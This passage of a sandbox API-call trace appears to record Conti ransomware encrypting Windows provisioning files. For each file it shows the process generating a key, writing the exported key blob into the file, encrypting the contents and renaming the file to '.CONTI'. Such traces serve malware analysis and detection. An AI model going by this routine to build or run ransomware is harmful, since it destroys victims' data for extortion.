	[0113.727] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0113.727] GetLastError () returned 0x0
	[0113.727] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=739) returned 1
	[0113.727] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e3
	[0113.727] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.727] SetEndOfFile (hFile=0x3cc) returned 1
	[0113.728] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.728] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.728] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b53034*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b53034*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.735] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.735] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2e3, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2e3, lpOverlapped=0x0) returned 1
	[0113.735] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e3, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2f0) returned 1
	[0113.735] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.735] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2f0, lpOverlapped=0x0) returned 1
	[0113.735] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.735] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b53028*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b53028*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0113.735] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.735] CloseHandle (hObject=0x3cc) returned 1
	[0113.735] GetProcessHeap () returned 0x1720000
	[0113.735] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.735] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml"
	[0113.735] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.735] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\64__Connections_Cellular_Airtel-Vodafone (Channel Islands)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\64__connections_cellular_airtel-vodafone (channel islands)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.736] GetProcessHeap () returned 0x1720000
	[0113.736] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.736] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.736] GetProcessHeap () returned 0x1720000
	[0113.736] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c6e80 | out: hHeap=0x1720000) returned 1
	[0113.736] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0113.736] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52280 | out: phKey=0x6b52280*=0x17c83b0) returned 1
	[0113.736] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52284, pdwDataLen=0x4e7fc24 | out: pbData=0x6b52284*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0113.737] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.737] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0113.738] GetLastError () returned 0x0
	[0113.738] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=723) returned 1
	[0113.738] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0113.738] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.738] SetEndOfFile (hFile=0x3cc) returned 1
	[0113.738] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.738] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.738] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b52284*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b52284*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.743] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.743] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2d3, lpOverlapped=0x0) returned 1
	[0113.743] CryptEncrypt (in: hKey=0x17c83b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2d3, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e0) returned 1
	[0113.743] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.743] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.743] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.743] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b52278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b52278*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0113.743] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.743] CloseHandle (hObject=0x3cc) returned 1
	[0113.744] GetProcessHeap () returned 0x1720000
	[0113.744] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.744] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0113.744] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.744] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\651__Connections_Cellular_Shebang - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\651__connections_cellular_shebang - 3 (united kingdom)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.752] GetProcessHeap () returned 0x1720000
	[0113.752] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.752] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0113.752] GetProcessHeap () returned 0x1720000
	[0113.752] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c8398 | out: hHeap=0x1720000) returned 1
	[0113.752] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0113.752] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52038 | out: phKey=0x6b52038*=0x17c7ef0) returned 1
	[0113.752] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5203c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b5203c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0113.753] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.753] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0113.753] GetLastError () returned 0x0
	[0113.753] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=725) returned 1
	[0113.753] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d5
	[0113.753] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.753] SetEndOfFile (hFile=0x3cc) returned 1
	[0113.754] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.754] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.754] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b5203c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b5203c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.755] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.755] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2d5, lpOverlapped=0x0) returned 1
	[0113.755] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2d5, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e0) returned 1
	[0113.755] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.755] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.755] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.755] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b52030*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b52030*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0113.756] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.756] CloseHandle (hObject=0x3cc) returned 1
	[0113.756] GetProcessHeap () returned 0x1720000
	[0113.756] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.756] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml"
	[0113.756] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.756] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\654__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\654__connections_cellular_x-mobility - 3roi (ireland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.756] GetProcessHeap () returned 0x1720000
	[0113.757] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.757] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0113.757] GetProcessHeap () returned 0x1720000
	[0113.757] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8f68 | out: hHeap=0x1720000) returned 1
	[0113.757] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0113.757] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b52710 | out: phKey=0x6b52710*=0x17c7ef0) returned 1
	[0113.757] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52714, pdwDataLen=0x4e7fc24 | out: pbData=0x6b52714*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0113.757] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.758] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\655__Connections_Cellular_X-Mobility - 3RoI (Ireland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\655__connections_cellular_x-mobility - 3roi (ireland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0113.758] GetLastError () returned 0x0
	[0113.758] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=725) returned 1
	[0113.758] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d5
	[0113.758] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.758] SetEndOfFile (hFile=0x3cc) returned 1
	[0113.758] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.758] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.758] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b52714*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b52714*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.031] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.031] ReadFile (in: hFile=0x3cc, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2d5, lpOverlapped=0x0) returned 1
	[0115.031] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2d5, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2e0) returned 1
	[0115.031] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.031] WriteFile (in: hFile=0x3cc, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2e0, lpOverlapped=0x0) returned 1
	[0115.032] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.032] WriteFile (in: hFile=0x3cc, lpBuffer=0x6b52708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b52708*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0115.032] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.032] CloseHandle (hObject=0x3cc) returned 1
	[0115.532] GetProcessHeap () returned 0x1720000
	[0115.532] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
